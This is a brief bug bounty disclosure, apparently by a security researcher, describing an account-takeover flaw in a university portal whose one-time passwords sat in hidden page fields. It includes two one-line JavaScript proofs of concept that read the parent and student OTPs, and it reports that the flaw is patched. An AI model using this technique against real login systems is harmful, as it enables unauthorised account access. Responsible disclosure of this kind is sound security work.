REPORT #1: Taking control over any account (both parent's & student's) via exposed OTP (One Time Password) pin on client's side (dms.jaipur.manipal.edu)

DMS-OTP-BYPASS.TXT

# Author : PIYUSH RAJ (0x48piraj)
# Impact : Taking control over any account (both parent's & student's) via exposed OTP (One Time Password) pin on client's side
# Vulnerability   : Improper handling of sensitive data
# Target : dms.jaipur.manipal.edu
# Exploit: Javascript Injection (Proof-of-Concept provided)
# Patched : Yes (Reported on https://bounty.jaipur.manipal.edu)

# Vulnerable parameters :
- hdnOTP
- hdnStudentOTP

# POC for each category :

1. Hijacking Student's OTP :

POC Code :
alert("The Student's OTP is : " + document.getElementById("hdnStudentOTP").value);

2. Hijacking Parent's OTP  :

POC Code :
alert("The Parent's OTP is : " + document.getElementById("hdnOTP").value);